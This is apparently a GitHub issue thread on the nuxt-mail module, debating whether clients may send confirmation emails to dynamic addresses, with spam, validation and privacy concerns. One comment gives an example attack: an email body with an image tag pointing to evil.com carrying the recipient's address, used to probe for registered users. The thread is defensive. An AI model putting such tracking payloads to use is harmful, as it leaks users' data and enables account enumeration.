How to send a confirmation email to a dynamic email?

[urbgimtam]

If message.to needs to be configured beforehand, how can I send a confirmation email to someone based an email address inserted in a form field?

I'm may be wrong here, but wouldn't it make more sense to force the "from" field instead?
That way, the website/webapp can send emails to whoever needs to receive it, and always from a fixed email address.

[dword-design]

@urbgimtam That's actually a good question and I think there should be a FAQ section about it. I think you shouldn't send confirmation emails to non-verified email addresses at all, because otherwise you could send spam emails to any email address by typing foo@bar.de (from your SMTP server!). As far as I remember, confirmation emails are best and mostly used with logged in accounts, then you can send an email to the account email address. On the other hand I can remember to have gotten automatic confirmation emails from guest contact forms. No idea how they deal with the spamming problem though.

@mathe42 What's your opinion on this?

[mathe42]

For that use case just build your own small API that gets email (and name ...) and generates the email from that.

A in the case of a confirmation mail you need a API for verification.

What you don't want is that a attacker can send emails with custom conent to random people so you have to make at least one of that static.

[urbgimtam]

I agree with all your concerns over security. However, maybe a better approach would be to allow the config to lock either the "sender" or the "receiver", as per the developer requirements.

• For contact forms, IMO it makes sense to have the "receiver" to be locked, as the flow goes from the user to the company/website.

• But for other uses (image an ecommerce store), it makes sense to lock only the "sender", as the email goes from the website to the user.

Usually, I've mitigated it in the past with things like Google Recaptcha (v3 is great and doesn't show that cumbersome image selector thing), or with a hidden blank field, that mail bots try to fill in automatically. (also, nowdays many mail servers use DKIM, output validation and even header correction)

IMO it should be the coders' responsability to use email addresses validation (whatever that validation may be: a registered user, a double-optin system, recaptha, etc.)

Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.

[mathe42]

So you want the browser to request that a email is send with dynamic content to a dynamic email.

That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.

[mathe42]

Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.

This module creates a API as the browser can not talk to a SMTP server. - And this API can be called with custom arguments so even if you client code is save - it dosn't matter.

[urbgimtam]

So you want the browser to request that a email is send with dynamic content to a dynamic email.

That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.

Of course the dynamic email needs to be validated by a third-party: either login/registered user, or email being triggered after successfull recaptcha validation.

So my point is that the validation responsability belongs to the developer, instead of nuxt-mail blocking that possibility interely.

The white elefant in the room is that spam prevention (from the sender perspective) is hard to fix and requires multiple points of mitigation. For example: the email server itself should be correctly configured for stuff like "output rate limiting", DKIM, DMARC and SPF outgoing spam protection, etc.

[dword-design]

I think @urbgimtam is right that the mail server should be responsible for the address validation. I see the use case to use nuxt-mail to send emails to authenticated user's email addresses. What I could imagine as a simple solution would be to allow the to field to be a (possibly async) validation function. Example:

// nuxt.config.js

const users = [{ email: 'foo@bar.de' }]

export default {
  modules: [
    ['nuxt-mail', {
      message: {
        to(email) {
          // @nuxtjs/auth, via session or something similar

          return this.$auth.user.email === email
        },
      },
    }],
  ],
}

// index.vue

export default {
  methods: {
    submit() {
      this.$mail.send({
        from: 'John Doe',
        to: 'foo@bar.de',
        subject: 'Message', 
        text: 'Foo bar',
    },
  },
}

So it would be a non-breaking, more flexible way than the email field comparison. Opinions or any issues I haven't thought of?

[mathe42]

As a attacker I want to know if with the email me@example.com is a user. I can do the following:

Create a Mail with something like (just minimal example):

this.$mail.send({
        from: 'John Doe',
        to: 'me@example.com',
        subject: 'Message', 
        text: '<img src="evil.com/img.png?user=me@example.com">', // maybe different key but you get the idea...
    },

If I get a request to evil.com I know the user has an account.

So this might fix the SPAM problem for not very big pages. But we have a privacy issue. This is not GDPR conform.

I think there should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.

Because of that I don't even use nuxt-mail just saw it a few month ago and saw that it has security problems.

This module in my opinion is only good for a contact form!

[EDIT]

Just to repeat my complain is

There should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.

[urbgimtam]

Understand and agree.
Just like in php, the coder must sanitize the fields data to avoid injection atacks, etc.

Just to be understand a bit better, what would you use for such a scenario like I've described? Because, in the end, any solution will suffer of the same vectors of attack.

[mathe42]

Generate the E-Mail content on the server in for exampe a server middleware of nuxt.

In the online Form get all data. Send both to the api / server middleware and generate there the email text / html and send this with (for example) nodemailer to the specified e-mail.

[urbgimtam]

That's what I've done in the past. But if nuxt-mailer is using nodemailer, isn't it doing it already? Can't the sanitization and email generation still happen in the component, before calling the this.$mail.send()? Again, the dev should handle that.

[mathe42]

Nope as the $mail.send creates a request to a url and there is no way to validate the data.
And validation has to happen on the server. A attacker can bypass all client validation. The problem is the server can't check if the data even was validated...

[dword-design]

Sry my example was incredibly bad, was focusing on the validation function. Of course there should be auth management and you should only be able to send to the logged in user's address, not any registered one. I've updated it accordingly. Is the issue you explained resolved with this? It should fail with an auth error. You would need to be registered with verified email first, otherwise this.$mail.send would also fail when sending it from the client.

[mathe42]

If you want to be shure it should silently fail...

But if there is some validation I'm fine with that. But you should point that out that if you do for exampe () => true you have big security problems. And I'm not 100% shure you want that power at the developer that doesn't know what he is doing.

[urbgimtam]

Ok, sorry for all the discussion I've generated.

@mathe42 I agree that it can be damaging to a dev that is not aware of the responsibility. Please feel free to close the issue.